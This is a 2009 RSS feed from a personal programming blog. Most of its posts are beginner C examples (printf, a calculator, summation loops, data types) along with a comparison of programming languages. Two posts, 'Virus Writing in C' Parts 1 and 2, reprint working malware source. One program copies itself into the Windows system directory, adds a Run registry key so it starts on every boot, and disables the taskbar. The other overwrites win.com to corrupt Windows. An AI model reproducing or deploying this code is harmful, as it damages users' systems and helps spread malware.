<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>maSnun&#039;s logs &#187; C</title>
	<atom:link href="http://masnun.com/blog/tag/c/feed/" rel="self" type="application/rss+xml" />
	<link>http://masnun.com/blog</link>
	<description>Personal Blog of maSnun</description>
	<lastBuildDate>Sat, 24 Jul 2010 04:33:21 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>It&#039;s all about printf() and String Formatting</title>
		<link>http://masnun.com/blog/2009/05/02/its-all-about-printf-and-string-formatting/</link>
		<comments>http://masnun.com/blog/2009/05/02/its-all-about-printf-and-string-formatting/#comments</comments>
		<pubDate>Sat, 02 May 2009 02:45:38 +0000</pubDate>
		<dc:creator>masnun</dc:creator>
				<category><![CDATA[Blog Post]]></category>
		<category><![CDATA[C]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[python]]></category>

		<guid isPermaLink="false">http://masnun.com/2009/05/02/its-all-about-printf-and-string-formatting/</guid>
		<description><![CDATA[The printf() function was most probably introduced in C. The function, as most of the programmers know, prints formatted string according to a given format. PHP, being derived from C, has the same function with some added features. But in &#8230; <a href="http://masnun.com/blog/2009/05/02/its-all-about-printf-and-string-formatting/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>The printf() function was most probably introduced in C. The function, as most of the programmers know, prints formatted string according to a given format. PHP, being derived from C, has the same function with some added features. But in Python, the function is totally excluded <img src='http://masnun.com/blog/wp-includes/images/smilies/icon_sad.gif' alt=':(' class='wp-smiley' /> </p>
<p>Python developers believe that there should be two seperate procedures to print a formatted string &#8211; format a string and then print it. So python has a different mechanism of doing the task.</p>
<p>Lets see some language specific examples:</p>
<p><b>C:</b></p>
<blockquote><p>
# include &lt;stdio.h&gt;<br />
int main() { printf(&#8220;%s is a string while %d is a number&#8221;,&#8221;maSnun&#8221;,23); }
</p></blockquote>
<p><b>PHP:</b></p>
<blockquote><p>
&lt;?php printf(&#8220;%s is a string while %d is a number&#8221;,&#8221;maSnun&#8221;,23); ?&gt;
</p></blockquote>
<p><b>Python:</b> (Python 3)</p>
<blockquote><p>
s = &#8220;%s is a string while %d is a number&#8221; % (&#8220;maSnun&#8221;, 23)<br />
print(s)
</p></blockquote>
<p>Here, we format a string using the % (Modulo sign) or string formatting operator or the interpolation operator. If there was a single argument required for the formatting, we would simply pass it after the second modulo. Example:</p>
<blockquote><p>s = &#8220;%s is a string &#8221; % &#8220;maSnun&#8221;</p></blockquote>
<p>But if we need to pass more than one argument to the formatting operator, we will have to pass a tuple of the arguments (like I have done in the first example). A tuple is an ordered collection which cannot be modified once it has been created. In other words, it&#8217;s rather like a read only array.</p>
<blockquote><p>
<b>More About Tuples</b><br />
You set up a tuple with round brackets (not<br />
the square brackets you use to set up a  list),<br />
but you then access the individual members of<br />
either with square brackets.  That means that<br />
you can use common code to process an ordered<br />
collection, whether it&#8217;s a list or a tuple</p>
<p>demo = (1, 3, 6, 10, 15, 21, &#8220;lots&#8221;)</p></blockquote>
]]></content:encoded>
			<wfw:commentRss>http://masnun.com/blog/2009/05/02/its-all-about-printf-and-string-formatting/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Funky Little C Calculator</title>
		<link>http://masnun.com/blog/2009/04/14/funky-little-c-calculator/</link>
		<comments>http://masnun.com/blog/2009/04/14/funky-little-c-calculator/#comments</comments>
		<pubDate>Tue, 14 Apr 2009 10:45:48 +0000</pubDate>
		<dc:creator>masnun</dc:creator>
				<category><![CDATA[Blog Post]]></category>
		<category><![CDATA[C]]></category>

		<guid isPermaLink="false">http://masnun.com/2009/04/14/funky-little-c-calculator/</guid>
		<description><![CDATA[int main() { int num1, num2; char ch; printf("Enter Two numbers:n"); scanf("%d %d",&#38;num1,&#38;num2); printf("Function:a to add &#124; s to subtract &#124; m to multiply &#124; d to divide \n"); ch = getch(); if(ch == 'a') printf("The sum is: %d", num1+num2); &#8230; <a href="http://masnun.com/blog/2009/04/14/funky-little-c-calculator/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p><code>int main() {<br />
int num1, num2;<br />
char ch;<br />
printf("Enter Two numbers:n");<br />
scanf("%d %d",&amp;num1,&amp;num2);<br />
printf("Function:a to add | s to subtract | m to multiply | d to divide \n");<br />
ch = getch();<br />
if(ch == 'a') printf("The sum is: %d", num1+num2);<br />
if(ch == 's') printf("The subtraction result is: %d", num1-num2);<br />
if(ch == 'm') printf("The multiplied value is: %d", num1*num2);<br />
if(ch == 'd') printf("The result is: %d", num1/num2);<br />
printf("\n \n \n");<br />
}</code></p>
]]></content:encoded>
			<wfw:commentRss>http://masnun.com/blog/2009/04/14/funky-little-c-calculator/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Add a sequence of Positive Integers.c</title>
		<link>http://masnun.com/blog/2009/04/02/add-a-sequence-of-positive-integersc/</link>
		<comments>http://masnun.com/blog/2009/04/02/add-a-sequence-of-positive-integersc/#comments</comments>
		<pubDate>Thu, 02 Apr 2009 13:12:52 +0000</pubDate>
		<dc:creator>masnun</dc:creator>
				<category><![CDATA[Blog Post]]></category>
		<category><![CDATA[C]]></category>

		<guid isPermaLink="false">http://masnun.com/2009/04/02/add-a-sequence-of-positive-integersc/</guid>
		<description><![CDATA[The following program asks for positive integers. Input one after one. When the input is bigger than the sentinel value, the program terminates the input process and returns the sum of the integers entered so far J   /* Read &#8230; <a href="http://masnun.com/blog/2009/04/02/add-a-sequence-of-positive-integersc/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>The following program asks for positive integers. Input one after one. When the input is bigger than the sentinel value, the program terminates the input process and returns the sum of the integers entered so far <span style="font-family:Wingdings">J</span>
	</p>
<p>
 </p>
<p style="background: #7f7f7f"><span style="color:yellow">/*  Read a sequence of positive integers and print them <br/> *          out together with their sum. Use a Sentinel value<br/> *          (say 0) to determine when the sequence has terminated.<br/>*      Author: maSnun (masnun@gmail.com)<br/> */<br />
</span></p>
<p style="background: #7f7f7f">
 </p>
<p style="background: #7f7f7f"><span style="color:yellow">#include &lt;stdio.h&gt;<br/>#define SENTINEL 35<br />
</span></p>
<p style="background: #7f7f7f"><span style="color:yellow">int main(void) {<br/> int sum = 0; /* The sum of numbers already read */<br/> int current; /* The number just read */<br/><br />
		</span></p>
<p style="background: #7f7f7f"><span style="color:yellow">  do {<br/>    printf(&#8220;nEnter an integer &gt; &#8220;);<br/>    scanf(&#8220;%d&#8221;, &amp;current);<br/>    if (current &gt; SENTINEL)<br/>      sum = sum + current;<br/>  } while (current &gt; SENTINEL);<br />
</span></p>
<p style="background: #7f7f7f"><span style="color:yellow">  printf(&#8220;nThe sum is %dn&#8221;, sum);<br/>}</span></p>
]]></content:encoded>
			<wfw:commentRss>http://masnun.com/blog/2009/04/02/add-a-sequence-of-positive-integersc/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Summation in C</title>
		<link>http://masnun.com/blog/2009/04/02/summation-in-c/</link>
		<comments>http://masnun.com/blog/2009/04/02/summation-in-c/#comments</comments>
		<pubDate>Thu, 02 Apr 2009 13:12:18 +0000</pubDate>
		<dc:creator>masnun</dc:creator>
				<category><![CDATA[Blog Post]]></category>
		<category><![CDATA[C]]></category>

		<guid isPermaLink="false">http://masnun.com/2009/04/02/summation-in-c/</guid>
		<description><![CDATA[The following program takes two, yes just two integers and returns the sum of them. Very basic program but might be helpful for my fellow CSE friends at KU.   /* Add two numbers and print them out together with &#8230; <a href="http://masnun.com/blog/2009/04/02/summation-in-c/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>The following program takes two, yes just two integers and returns the sum of them. Very basic program but might be helpful for my fellow CSE friends at KU.
</p>
<p>
 </p>
<p style="background: #7f7f7f"><span style="color:yellow">/* <br/>Add two numbers and print them out together <br/> with their sum.<br/> AUTHOR: maSnun<br/>E-Mail: <a href="mailto:masnun@gmail.com">masnun@gmail.com</a><br />
			<br/> */<br />
</span></p>
<p style="background: #7f7f7f"><span style="color:yellow">#include &lt;stdio.h&gt;<br/>int main(void) {<br/>  int first, second;<br/>  printf(&#8220;Enter two integers &gt; &#8220;);<br/>  scanf(&#8220;%d %d&#8221;, &amp;first, &amp;second);<br/>  printf(&#8220;The two numbers are: %d  %dn&#8221;, first, second);<br/>  printf(&#8220;Their sum is %dn&#8221;, first+second);<br/>}</span></p>
]]></content:encoded>
			<wfw:commentRss>http://masnun.com/blog/2009/04/02/summation-in-c/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Add N numbers of Positive integers in C</title>
		<link>http://masnun.com/blog/2009/04/02/add-n-numbers-of-positive-integers-in-c/</link>
		<comments>http://masnun.com/blog/2009/04/02/add-n-numbers-of-positive-integers-in-c/#comments</comments>
		<pubDate>Thu, 02 Apr 2009 13:10:43 +0000</pubDate>
		<dc:creator>masnun</dc:creator>
				<category><![CDATA[Blog Post]]></category>
		<category><![CDATA[C]]></category>

		<guid isPermaLink="false">http://masnun.com/2009/04/02/add-n-numbers-of-positive-integers-in-c/</guid>
		<description><![CDATA[/*     Reads a positive number N. Then read N integers and * print them out together with their sum.*     Author: maSnun (masnun@gmail.com) */ #include &#60;stdio.h&#62; int main(void) { int n; /* The number of numbers to be read */ int &#8230; <a href="http://masnun.com/blog/2009/04/02/add-n-numbers-of-positive-integers-in-c/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p style="background: #7f7f7f"><span style="color:yellow">/*     Reads a positive number N. Then read N integers and<br/> *            print them out together with their sum.<br/>*     Author: maSnun (masnun@gmail.com)<br/> */<br />
</span></p>
<p style="background: #7f7f7f"><span style="color:yellow">#include &lt;stdio.h&gt;<br />
</span></p>
<p style="background: #7f7f7f"><span style="color:yellow">int main(void) {<br/>  int n;       /* The number of numbers to be read */<br/>  int sum;     /* The sum of numbers already read  */<br/>  int current; /* The number just read             */<br/>  int lcv;     /* Loop control variable, it counts the number<br/>                  of numbers already read */<br />
</span></p>
<p style="background: #7f7f7f"><span style="color:yellow">  printf(&#8220;How many numbers to add ? (N) &gt; &#8220;); <br/>  scanf(&#8220;%d&#8221;,&amp;n); /* We should check that n is really positive*/<br/>  sum = 0;<br/>  for (lcv=0; lcv &lt; n; lcv++) {<br/>    printf(&#8220;nEnter an integer &gt; &#8220;);<br/>    scanf(&#8220;%d&#8221;,&amp;current);<br/>    /*    printf(&#8220;nThe number was %dn&#8221;, current); */<br/>    sum = sum + current;<br/>  }<br/>  printf(&#8220;The sum is %dn&#8221;, sum);<br/>  return 0;<br/>}<br />
</span></p>
<p>Well, another typical program in C. I don&#8217;t think it would need more details. There&#8217;s already enough inline comments <span style="font-family:Wingdings">J</span></p>
]]></content:encoded>
			<wfw:commentRss>http://masnun.com/blog/2009/04/02/add-n-numbers-of-positive-integers-in-c/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>A Little C Program</title>
		<link>http://masnun.com/blog/2009/03/28/a-little-c-program/</link>
		<comments>http://masnun.com/blog/2009/03/28/a-little-c-program/#comments</comments>
		<pubDate>Sat, 28 Mar 2009 03:51:50 +0000</pubDate>
		<dc:creator>masnun</dc:creator>
				<category><![CDATA[Blog Post]]></category>
		<category><![CDATA[C]]></category>

		<guid isPermaLink="false">http://masnun.com/2009/03/28/a-little-c-program/</guid>
		<description><![CDATA[I wrote the following program to see how fast C can handle files. I ran the codes both as a script (using TCC) and as a compiled executable. In both cases things happened lightning fast on my Celeron D with &#8230; <a href="http://masnun.com/blog/2009/03/28/a-little-c-program/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>I wrote the following program to see how fast C can handle files. I ran the codes both as a script (using TCC) and as a compiled executable. In both cases things happened lightning fast on my Celeron D with 1 GB RAM. The codes just opened (created if necessary) a file named &#8220;file.txt&#8221; and put the integers from 1 to 9999 , each integer on a separate line.
</p>
<p>I thought it would take a long time. But, I was proven wrong. Now, I will have to add timestamps to benchmark the execution <span style="font-family:Wingdings">L</span>
	</p>
<p>
 </p>
<p style="background: #d9d9d9">#include &#8220;stdio.h&#8221;<br/>main( )<br/>{<br/>FILE *fp;<br/>fp = fopen(&#8220;file.txt&#8221;,&#8221;w&#8221;);<br/>int i;<br/>for(i=0;i&lt;10000;i++) <br/>{<br/> fprintf(fp,&#8221;%d n&#8221;,i); <br/>}<br/>fclose(fp);<br/>}
</p>
<p>PS: I am really loving my Tiny C Compiler aka TCC. It can execute C codes as a script. On the other hand, it has a great code optimization ability that makes my executables very lightweight. </p>
]]></content:encoded>
			<wfw:commentRss>http://masnun.com/blog/2009/03/28/a-little-c-program/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>All the Data Types in C</title>
		<link>http://masnun.com/blog/2009/03/26/all-the-data-types-in-c/</link>
		<comments>http://masnun.com/blog/2009/03/26/all-the-data-types-in-c/#comments</comments>
		<pubDate>Thu, 26 Mar 2009 13:08:41 +0000</pubDate>
		<dc:creator>masnun</dc:creator>
				<category><![CDATA[Blog Post]]></category>
		<category><![CDATA[C]]></category>

		<guid isPermaLink="false">http://masnun.com/2009/03/26/all-the-data-types-in-c/</guid>
		<description><![CDATA[The following code listing demonstrates all the available data types in the C programming language. I have tested the code in the Tiny C Compiler aka TCC. main( ){int a; /* simple integer type */long int b; /* long integer &#8230; <a href="http://masnun.com/blog/2009/03/26/all-the-data-types-in-c/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>The following code listing demonstrates all the available data types in the C programming language. I have tested the code in the Tiny C Compiler aka TCC.
</p>
<p style="background: #92d050"><em>main( )<br/>{<br/>int a; /* simple integer type */<br/>long int b; /* long integer type */<br/>short int c; /* short integer type */<br/>unsigned int d; /* unsigned integer type */<br/>char e; /* character type */<br/>float f; /* floating point type */<br/>double g; /* double precision floating point */<br/><br />
		</em></p>
<p style="background: #92d050"><em>a = 1023;<br/>b = 2222;<br/>c = 123;<br/>d = 1234;<br/>e = &#8216;X&#8217;;<br/>f = 3.14159;<br/>g = 3.1415926535898;<br />
</em></p>
<p style="background: #92d050"><em>printf(&#8220;a = %dn&#8221;,a); /* decimal output */<br/>printf(&#8220;a = %on&#8221;,a); /* octal output */<br/>printf(&#8220;a = %xn&#8221;,a); /* hexadecimal output */<br/>printf(&#8220;b = %1dn&#8221;,b); /* decimal long output */<br/>printf(&#8220;c = %dn&#8221;,c); /* decimal short output */<br/>printf(&#8220;d = %un&#8221;,d); /* unsigned output */<br/>printf(&#8220;e = %cn&#8221;,e); /* character output */<br/>printf(&#8220;f = %fn&#8221;,f); /* floating output */<br/>printf(&#8220;g = %fn&#8221;,g); /* double float output */<br/>printf(&#8220;n&#8221;);<br />
</em></p>
<p style="background: #92d050"><em>printf(&#8220;a = %dn&#8221;,a); /* simple int output */<br/>printf(&#8220;a = %7dn&#8221;,a); /* use a field width of 7 */<br/>printf(&#8220;a = %-7dn&#8221;,a); /* left justify in field of 7 */<br/>printf(&#8220;n&#8221;);<br/><br/>printf(&#8220;f = %fn&#8221;,f); /* simple float output */<br/>printf(&#8220;f = %12fn&#8221;,f); /* use field width of 12 */<br/>printf(&#8220;f = %12.3fn&#8221;,f); /* use 3 decimal places */<br/>printf(&#8220;f = %12.5fn&#8221;,f); /* use 5 decimal places */<br/>printf(&#8220;f = %-12.5fn&#8221;,f); /*</em> left justify in field */<br/>}
</p>
<p>
 </p>
]]></content:encoded>
			<wfw:commentRss>http://masnun.com/blog/2009/03/26/all-the-data-types-in-c/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Virus Writing in C: Part 2</title>
		<link>http://masnun.com/blog/2009/03/25/virus-writing-in-c-part-2/</link>
		<comments>http://masnun.com/blog/2009/03/25/virus-writing-in-c-part-2/#comments</comments>
		<pubDate>Wed, 25 Mar 2009 14:47:33 +0000</pubDate>
		<dc:creator>masnun</dc:creator>
				<category><![CDATA[Blog Post]]></category>
		<category><![CDATA[C]]></category>

		<guid isPermaLink="false">http://masnun.com/2009/03/25/virus-writing-in-c-part-2/</guid>
		<description><![CDATA[This is another piece of code I found on rohitlab.com. These codes are published for educational purposes. I don&#8217;t appreciate spreading viruses.   ==========================================   #include &#60;windows.h&#62; int WINAPI WinMain (HINSTANCE hThisInstance, HINSTANCE PrevInstance, LPSTR lpszArgument, int nFunsterStil)   { &#8230; <a href="http://masnun.com/blog/2009/03/25/virus-writing-in-c-part-2/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>This is another piece of code I found on rohitlab.com. These codes are published for educational purposes. I don&#8217;t appreciate spreading viruses.
</p>
<p>
 </p>
<p>==========================================
</p>
<p>
 </p>
<p>#include &lt;windows.h&gt;
</p>
<p>int WINAPI WinMain (HINSTANCE hThisInstance, HINSTANCE PrevInstance,
</p>
<p>                            LPSTR lpszArgument, int nFunsterStil)
</p>
<p>
 </p>
<p>{
</p>
<p>
 </p>
<p>char system[MAX_PATH];
</p>
<p>char pathtofile[MAX_PATH];
</p>
<p>HMODULE GetModH = GetModuleHandle(NULL);
</p>
<p>
 </p>
<p>GetModuleFileName(GetModH,pathtofile,sizeof(pathtofile));
</p>
<p>GetSystemDirectory(system,sizeof(system));
</p>
<p>
 </p>
<p>strcat(system,&#8221;\virus.exe&#8221;);
</p>
<p>
 </p>
<p>CopyFile(pathtofile,system,false);
</p>
<p>
 </p>
<p>
 </p>
<p>HKEY hKey;
</p>
<p>
 </p>
<p>RegOpenKeyEx(HKEY_LOCAL_MACHINE,&#8221;Software\Microsoft\Windows\CurrentVersion\Run&#8221;,0,KEY_SET_VALUE,&amp;hKey );
</p>
<p>
 </p>
<p>RegSetValueEx(hKey, &#8220;Writing to the Registry Example&#8221;,0,REG_SZ,(const unsigned char*)system,sizeof(system));
</p>
<p>
 </p>
<p>RegCloseKey(hKey);
</p>
<p>
 </p>
<p>HWND hWin;
</p>
<p>
 </p>
<p>hWin = FindWindow(&#8220;Shell_TrayWnd&#8221;,NULL);
</p>
<p>EnableWindow(hWin,false);
</p>
<p>
 </p>
<p>while(1==1)
</p>
<p>{
</p>
<p>ShowWindow(hWin,false);
</p>
<p>Sleep(1000);
</p>
<p>ShowWindow(hWin,true);
</p>
<p>Sleep(1000);
</p>
<p>}
</p>
<p>
 </p>
<p> return 0;
</p>
<p>}
</p>
<p>
 </p>
<p>==========================================</p>
]]></content:encoded>
			<wfw:commentRss>http://masnun.com/blog/2009/03/25/virus-writing-in-c-part-2/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Virus Writing in C: Part 1</title>
		<link>http://masnun.com/blog/2009/03/25/virus-writing-in-c-part-1/</link>
		<comments>http://masnun.com/blog/2009/03/25/virus-writing-in-c-part-1/#comments</comments>
		<pubDate>Wed, 25 Mar 2009 14:47:07 +0000</pubDate>
		<dc:creator>masnun</dc:creator>
				<category><![CDATA[Blog Post]]></category>
		<category><![CDATA[C]]></category>

		<guid isPermaLink="false">http://masnun.com/2009/03/25/virus-writing-in-c-part-1/</guid>
		<description><![CDATA[I am studying C and C++ again to revise what I learnt a long time ago. This time, I am trying to be a bit malicious. Here&#8217;s a piece of C code I found the other day. =============================================== #include&#60;conio.h&#62;#include &#60;stdio.h&#62;#include &#8230; <a href="http://masnun.com/blog/2009/03/25/virus-writing-in-c-part-1/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>I am studying C and C++ again to revise what I learnt a long time ago. This time, I am trying to be a bit malicious. Here&#8217;s a piece of C code I found the other day.
</p>
<p>===============================================
</p>
<p>#include&lt;conio.h&gt;<br/>#include &lt;stdio.h&gt;<br/>#include &lt;stdlib.h&gt;<br/>#include &lt;fcntl.h&gt;<br/>#include &lt;sysstat.h&gt;<br/>#include &lt;io.h&gt;<br/>#include &lt;string.h&gt;
</p>
<p>int main(void)<br/>{<br/>   clrscr();<br/>   int handle;<br/>   char string[1000];<br/>   int length, res,i;
</p>
<p>   if ((handle = open(&#8220;C:windowswin.com&#8221;, O_WRONLY | O_CREAT |O_TRUNC, S_IREAD | S_IWRITE)) == -1)<br/>   {<br/>      printf(&#8220;Error opening file.&#8221;);<br/>      exit(1);
</p>
<p>   }
</p>
<p> strcpy(string, &#8220;&lt;html&gt;Hello !!!!!!! This is a VIRUS ATTACK !!! This execution currupt your WINDOWS !!!!!!&lt;/html&gt;&#8221;);<br/> length = strlen(string);<br/> if ((res = write(handle, string, length)) != length)<br/>   {<br/>      printf(&#8220;Error writing to the file.&#8221;);<br/>      getch();<br/>      exit(1);<br/>   }<br/> printf(&#8220;Wrote %d bytes to the file.&#8221;, res);<br/> cout&lt;&lt;&#8221;Hello !!!!!!!!&#8221;;<br/> cout&lt;&lt;&#8221; This is a VIRUS ATTACK !!!&#8221;;<br/>cout&lt;&lt;&#8221; This execution currupt your WINDOWS !!!!!!&#8221;;<br/>close(handle);<br/>getch();<br/>return 0;<br/>}
</p>
<p>===============================================
</p>
<p>
 </p>
<p>This code corrupts the win.com file inside the Windows directory. I didn&#8217;t find the file in my Vista Windows directory. I am not sure if the virus works. I didn&#8217;t personally test it in my pc.</p>
]]></content:encoded>
			<wfw:commentRss>http://masnun.com/blog/2009/03/25/virus-writing-in-c-part-1/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>C, C++, C# , Java, Python, Perl, Ruby or PHP ?</title>
		<link>http://masnun.com/blog/2009/02/26/c-c-c-java-python-perl-ruby-or-php/</link>
		<comments>http://masnun.com/blog/2009/02/26/c-c-c-java-python-perl-ruby-or-php/#comments</comments>
		<pubDate>Thu, 26 Feb 2009 11:15:00 +0000</pubDate>
		<dc:creator>masnun</dc:creator>
				<category><![CDATA[Blog Post]]></category>
		<category><![CDATA[C]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[python]]></category>

		<guid isPermaLink="false">http://masnun.com/2009/02/26/c-c-c-java-python-perl-ruby-or-php/</guid>
		<description><![CDATA[As you can see, all of them are programming languages. A beginner might stumble upon the vast collection of languages out there. I found it quite confusing. I can&#8217;t master all the languages. I should work on only one language &#8230; <a href="http://masnun.com/blog/2009/02/26/c-c-c-java-python-perl-ruby-or-php/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>As you can see, all of them are programming languages. A beginner might stumble upon the vast collection of languages out there. I found it quite confusing. I can&#8217;t master all the languages. I should work on only one language actively. But which one? And why?</p>
<p>Lets take a look at the languages before arguing and finding our way through.</p>
<p><b>C :</b> (Compiled)<br />
 A good old language from the early days of programming evolution as well as revolution. Many programming languages evolved from it.</p>
<p><b>C++ :</b> (Compiled)<br />
 C++ is the updated version of the C programming language. The trailing &#8220;++&#8221; means that it&#8217;s nothing but the next one to C. Indeed C++ was earlier called &#8220;C with Classes&#8221; since classes and objects were added to C to form a new language supporting both procedural and object oriented paradigm. A number of standard headers also came shipped with C++. And still some compilers first translate C++ codes to C and then compile the translated code.</p>
<p><b>C# :</b>(Compiled)<br />
C# (C Sharp) is a microsoft implementation of the C language. I don&#8217;t know much about it. And I don&#8217;t mind remaining ignorant to microsoft technologies.</p>
<p><i>It is said that, impossible is nothing in the programming world as long as you&#8217;re using C. </i></p>
<p><b>Java :</b> (Compiled &#8211; Interpreted)<br />
A language derived from C. It became very popular within a short period of time since it had productivity gains. Java got programmers rid of the nasty memory management of C. It brought easier multi-threading and was cross-platform. Java is also popular for it&#8217;s applets which lets you embed interactive java codes directly inside web pages making them more interactive and feature rich. Java2 Micro Edition or J2ME in short brought about another revolution in making programming easier for mobile devices. JSP or Java Server Pages revealed a new horizon as JSP quickly won hearts of the web-app developers. Gmail runs on Java. It is still extremely popular these days. Easy to code, huge portable libraries and the semi-compiled semi-interpreted nature makes many programmers choose the language.</p>
<p>Official URL: <a href="http://java.sun.com" title="java.sun.com" target="_blank">http://java.sun.com</a></p>
<p><b>Python :</b> (Interpreted)<br />
A simple yet fantastic language. I just loved it. So easy to type. Takes just minutes to build robust prototypes. Python has a motto: &#8220;Batteries included&#8221; to remind us that the language covers almost everything that is required to write a program. Being widely used by individuals and professional programmers. Blogger, Google, django and many other projects are built using python. Google recently started a new service named: Google App Engine where people can build Google-like web apps using the GAE framework written in python. Now a days python is being shipped with mobile phones. My friend Palash already has a python interpreter on his Nokia Series 60 phone. Python has a great future of course, though some people do complain about the space-based code indentation in python. But I myself never felt uncomfortable while coding in python.</p>
<p>Official URL: <a href="http://python.org" title="python.org" target="_blank">http://python.org</a></p>
<p><b>Perl :</b> (Interpreted)<br />
An old language, famous for it&#8217;s regular expression that has made string manipulation easier than ever. As far as I know, it was developed for shell scripting on *nix based systems.  I have never liked the syntax much. I never tried the language, so, I don&#8217;t even know thier offficial website url.</p>
<p><b>Ruby: </b> (Interpreted)<br />
It&#8217;s syntaxes are borrowed from different languages. I liked the language. Though it is said that Ruby was created to succeed Perl, the coding style is much more cleaner. The standard library is rich. Everything is very much object oriented and there is an active developer community. Ruby on Rails is a famous web dev framework that has earned a huge popularity lately. The creator of this fine language is from Japan. It&#8217;s claimed that half the programmers of Japan prefer Ruby to Python.</p>
<p>Official URL: <a href="http://ruby-lang.org" title="ruby-lang.org" target="_blank">http://ruby-lang.org</a></p>
<p><b>PHP :</b> (Interpreted)<br />
It was developed as a web scripting language. But the clean syntax and easy coding style won hearts of thousands of web developers. PHP has made things simple and easy for people when it comes to building web sites. PHP codes can be mixed with markup languages to build sites very quickly. PHP has a very impressive standard library and a vast collection of extensions from it&#8217;s dedicated developer community. Yahoo! has already started converting their web pages to PHP. Facebook is another example that demonstrates the power PHP has inside it. Thousands or perhaps millions of sites run on PHP today. Being free and easy, PHP has gained an unparalel popurality that no other languages have managed to gain. Most free web hosting companies now provide php support.</p>
<p>With the advancement of time, <a href="http://gtk.php.net" title="PHP-GTK"  target="_blank">PHP-GTK</a>, WinBinder, Euphoria and other extensions have made GUI programming possible with PHP.</p>
<p>Official URL: <a href="http://php.net" title="php.net" target="_blank">http://php.net</a></p>
<p><b>Which Language to Choose?</b></p>
<p>After months of consideration, I decided to stick to PHP. I finally realised that every language has strengths and weakness. So it&#8217;s wise to use the one that suits your need. So I went for PHP.<br />
Why? Because:</p>
<p>·········# I need a language mostly to build a web site.<br />
·········# People are not yet accustomed to python or ruby&#8217;s web based frameworks<br />
·········# PHP is available on most free hosts. Where as Python and others are scarce even on paid hosts.<br />
·········# I can use PHP for building common console apps too.<br />
·········# I have also built a few PHP GUI.</p>
<p>And most importantly PHP is the first language I learnt and used effectively according to my plan. I can not forget how much thrilled I was to have been able to write PHP scripts by myself.</p>
]]></content:encoded>
			<wfw:commentRss>http://masnun.com/blog/2009/02/26/c-c-c-java-python-perl-ruby-or-php/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
